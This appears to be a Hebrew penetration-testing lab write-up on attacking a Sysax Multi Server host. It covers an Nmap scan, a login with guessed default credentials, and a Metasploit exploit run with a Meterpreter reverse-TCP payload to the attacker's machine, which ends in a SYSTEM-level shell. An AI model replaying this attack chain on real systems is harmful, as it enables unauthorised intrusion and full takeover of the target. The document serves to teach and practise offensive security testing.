דו"ח פגיעות Sysax
ראשית יש לסרוק את המכונה בעזרת Nmap:
Nmap 172.16.0.15 -p65535
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1880/tcp open unknown
3389/tcp open rpc
ניגש אל המכונה בעזרת Rdesktop:
ונגלה את המשתמשים במכונה:
John
Administrator
* גילינו שיש 3 פורטים פתוחים. ננסה לגשת אל פורט 1880 באמצעות הדפדפן.
172.16.0.15:1880
כעת, יש למצוא את שם המשתמש והסיסמא. לפני שנריץ כלים של Brute Force ננסה באמצעות סיסמאות ברירת מחדל כגון: Admin, Admin או User, User וכו' אולי שם המשתמש?
* הצלחנו להיכנס באמצעות john כשם משתמש ו- john גם בסיסמא.
כל שנותר הוא לחפש אקספלויט ולהריץ אותו.
ניכנס לאתר https://www.exploit-db.com ונחפש את האקספלויט המתאים.
האקספלויט המתאים ביותר Sysax Multi Server 5.64:
https://www.exploit-db.com/exploits/20702
https://www.exploit-db.com/exploits/20702
מכיוון שמדובר בקובץ Ruby יש להריצו מתוך תוכנת ה-Metasploit.
ניכנס אל ממשק msfconsole, ונחפש את האקספלויט.
נמצא בנתיב הבא: use exploit/windows/http/sysax_create_folder.
לאחר שהאקספלויט נטען, נבדוק באמצעות פקודת Show Options את דרישות ההרצה.
msf exploit(sysax_create_folder) > show options
Module options (exploit/windows/http/sysax_create_folder):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 172.16.0.15 yes The target address
RPORT 1880 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SysaxPASS john yes Password
SysaxUSER john yes Username
TARGETURI / yes The URI path to the Sysax web application
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.16.0.10 yes The listen address
LPORT 4444 yes The listen port
לאחר שכל הפרטים מולאו כשורה, נריץ בעזרת פקודת run.
[*] Started reverse TCP handler on 172.16.0.10:4444
[*] SID: 0366d3979dfg4450d697484e9345db3b9d04262
[*] Root Dir: C:\Documents and Settings\john
[*] Sending stage (957487 bytes) to 172.16.0.15
[*] Meterpreter session 1 opened
יש Session Meterpreter, פקודת getuid תעזור לגלות את הרשאות המשתמש.
meterpreter >
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM